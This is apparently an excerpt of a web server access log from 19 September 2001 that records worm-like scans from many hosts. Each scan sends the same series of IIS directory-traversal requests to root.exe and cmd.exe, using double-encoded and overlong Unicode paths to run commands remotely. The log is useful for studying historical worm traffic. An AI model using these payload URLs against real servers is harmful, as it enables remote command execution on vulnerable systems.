  8310. 20010919 04:22:34: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8311. 20010919 04:22:34: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8312. 20010919 04:22:34: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8313. 20010919 04:22:34: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8314. 20010919 04:26:11: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8315. 20010919 04:26:11: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8316. 20010919 04:26:12: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8317. 20010919 04:26:12: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8318. 20010919 04:26:12: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8319. 20010919 04:26:13: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8320. 20010919 04:26:13: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8321. 20010919 04:26:13: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8322. 20010919 04:26:14: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8323. 20010919 04:26:14: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8324. 20010919 04:26:14: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8325. 20010919 04:26:15: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8326. 20010919 04:26:15: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8327. 20010919 04:26:15: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8328. 20010919 04:26:16: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8329. 20010919 04:26:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8330. 20010919 04:27:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8331. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8332. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8333. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8334. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8335. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8336. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8337. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8338. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8339. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8340. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8341. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8342. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8343. 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8344. 20010919 04:27:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8345. 20010919 04:27:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8346. 20010919 04:31:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8347. 20010919 04:31:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8348. 20010919 04:31:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8349. 20010919 04:31:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8350. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8351. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8352. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8353. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8354. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8355. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8356. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8357. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8358. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8359. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8360. 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8361. 20010919 04:31:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8362. 20010919 04:33:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8363. 20010919 04:33:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8364. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8365. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8366. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8367. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8368. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8369. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8370. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8371. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8372. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8373. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8374. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8375. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8376. 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8377. 20010919 04:33:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8378. 20010919 04:35:29: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8379. 20010919 04:35:29: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8380. 20010919 04:35:29: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8381. 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8382. 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8383. 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8384. 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8385. 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8386. 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8387. 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8388. 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8389. 20010919 04:35:31: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8390. 20010919 04:35:31: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8391. 20010919 04:35:31: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8392. 20010919 04:35:31: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8393. 20010919 04:35:31:  [61.183.125.139] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8394. 20010919 04:36:18:  [61.183.125.139] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8395. 20010919 04:36:37:  [61.183.125.139] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8396. 20010919 04:36:56:  [61.183.125.139] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8397. 20010919 04:37:15:  [61.183.125.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8398. 20010919 04:37:34:  [61.183.125.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8399. 20010919 04:37:52:  [61.183.125.139] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8400. 20010919 04:38:11:  [61.183.125.139] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8401. 20010919 04:38:31:  [61.183.125.139] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8402. 20010919 04:38:49:  [61.183.125.139] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8403. 20010919 04:39:08: mail.hitc.co.kr [128.134.20.4] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8404. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8405. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8406. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8407. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8408. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8409. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8410. 20010919 04:41:08: mail.hitc.co.kr [128.134.20.4] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8411. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8412. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8413. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8414. 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8415. 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8416. 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8417. 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8418. 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8419. 20010919 04:41:09: mail.hitc.co.kr [128.134.20.4] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8420. 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8421. 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8422. 20010919 04:41:09: mail.hitc.co.kr [128.134.20.4] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8423. 20010919 04:41:10: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8424. 20010919 04:41:10: mail.hitc.co.kr [128.134.20.4] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8425. 20010919 04:41:11: mail.hitc.co.kr [128.134.20.4] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8426. 20010919 04:41:11: mail.hitc.co.kr [128.134.20.4] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8427. 20010919 04:41:12: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8428. 20010919 04:41:12: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8429. 20010919 04:41:13: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8430. 20010919 04:41:13: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8431. 20010919 04:41:14: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8432. 20010919 04:41:14: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8433. 20010919 04:41:15: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8434. 20010919 04:41:15: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8435. 20010919 04:41:16: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8436. 20010919 04:42:55: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8437. 20010919 04:42:55: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8438. 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8439. 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8440. 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8441. 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8442. 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8443. 20010919 04:42:57: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8444. 20010919 04:42:57: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8445. 20010919 04:42:57: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8446. 20010919 04:42:58: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8447. 20010919 04:42:58: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8448. 20010919 04:42:59: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8449. 20010919 04:42:59: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8450. 20010919 04:42:59: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8451. 20010919 04:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8452. 20010919 04:44:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8453. 20010919 04:44:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8454. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8455. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8456. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8457. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8458. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8459. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8460. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8461. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8462. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8463. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8464. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8465. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8466. 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8467. 20010919 04:44:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8468. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8469. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8470. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8471. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8472. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8473. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8474. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8475. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8476. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8477. 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8478. 20010919 04:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8479. 20010919 04:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8480. 20010919 04:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8481. 20010919 04:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8482. 20010919 04:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8483. 20010919 04:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8484. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8485. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8486. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8487. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8488. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8489. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
